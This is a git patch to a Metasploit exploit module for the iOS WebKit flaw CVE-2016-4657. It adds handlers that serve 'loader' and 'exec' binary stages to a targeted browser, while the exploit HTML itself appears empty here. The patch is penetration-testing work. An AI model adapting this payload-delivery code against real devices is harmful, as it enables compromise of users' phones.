From d465226d89d6c1d1c19fd0b6dea5705ef876b2bd Mon Sep 17 00:00:00 2001 From: Tim W Date: Sat, 24 Mar 2018 11:35:03 +0800 Subject: [PATCH] add loader --- .../apple_ios/browser/webkit_trident.rb | 172 ++++++++++++++---- 1 file changed, 137 insertions(+), 35 deletions(-) diff --git a/modules/exploits/apple_ios/browser/webkit_trident.rb b/modules/exploits/apple_ios/browser/webkit_trident.rb index b9dce14e3e..5a32b42690 100644 --- a/modules/exploits/apple_ios/browser/webkit_trident.rb +++ b/modules/exploits/apple_ios/browser/webkit_trident.rb @@ -41,27 +41,57 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) print_status("Request from #{request['User-Agent']}") - array_payload = Rex::Text.to_num(payload.raw) + if request.uri =~ /\/loader$/ + print_good("Target is vulnerable.") + local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4657", "loader" ) + loader_data = File.read(local_file, {:mode => 'rb'}) + send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) + return + elsif request.uri =~ /\/exec$/ + local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4657", "exec" ) + loader_data = File.read(local_file, {:mode => 'rb'}) + send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) + print_status("Sent exec") + return + end + #array_payload = Rex::Text.to_num(payload.raw) html = %Q^ ^ - print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end